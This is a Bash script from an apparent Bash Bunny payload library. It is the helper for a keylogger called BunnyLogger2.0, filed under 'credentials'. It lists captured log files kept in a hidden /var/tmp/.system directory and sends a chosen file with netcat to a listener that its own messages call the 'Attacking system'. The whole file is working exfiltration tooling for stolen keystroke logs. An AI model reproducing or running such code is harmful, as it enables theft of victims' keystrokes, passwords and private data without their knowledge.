Files
bashbunny-payloads/payloads/library/credentials/BunnyLogger2.0/requirements/clctrl
2022-08-22 19:01:58 +05:30

42 lines
1022 B
Bash

#!/bin/bash
transfer(){
echo -e "\033[1;34m[INFO]: Target Logs:\033[0m"
cd /var/tmp/.system/logs/
ls /var/tmp/.system/logs/ | sort
echo
echo -n "Enter filename to transfer: "
read ch
if [ -f $ch ];
then
echo -e "\033[1;34m[INFO]: Transferring file...\033[0m"
/var/tmp/.system/./nc -q 0 127.0.0.1 1444 < $ch >/dev/null 2>&1
if [ $? -eq 0 ]; then
echo -e "\033[1;32m[SUCCESS]: File Transferred.\033[0m"
else
echo -e "\033[1;34m[INFO]: Netcat listner is not running on Attacking system.\033[0m\n\033[1;31m[ERROR]: File transfer failed.\033[0m"
fi
else
echo -e "\033[1;31m[ERROR]: Invalid Filename \"$ch\".\033[0m"
fi
}
conti(){
while :
do
echo
echo -n "Would you like to transfer more files? [Y/N]: "
read ch
if [ "$ch" = y ] || [ "$ch" = Y ];
then
transfer
elif [ "$ch" = N ] || [ "$ch" = n ];
then
echo -e "\033[1;34m[INFO]: Terminating...\033[0m"
break
else
echo -e "\033[1;31m[ERROR]: Invalid Choice \"$ch\".\033[0m"
fi
done
}
transfer
conti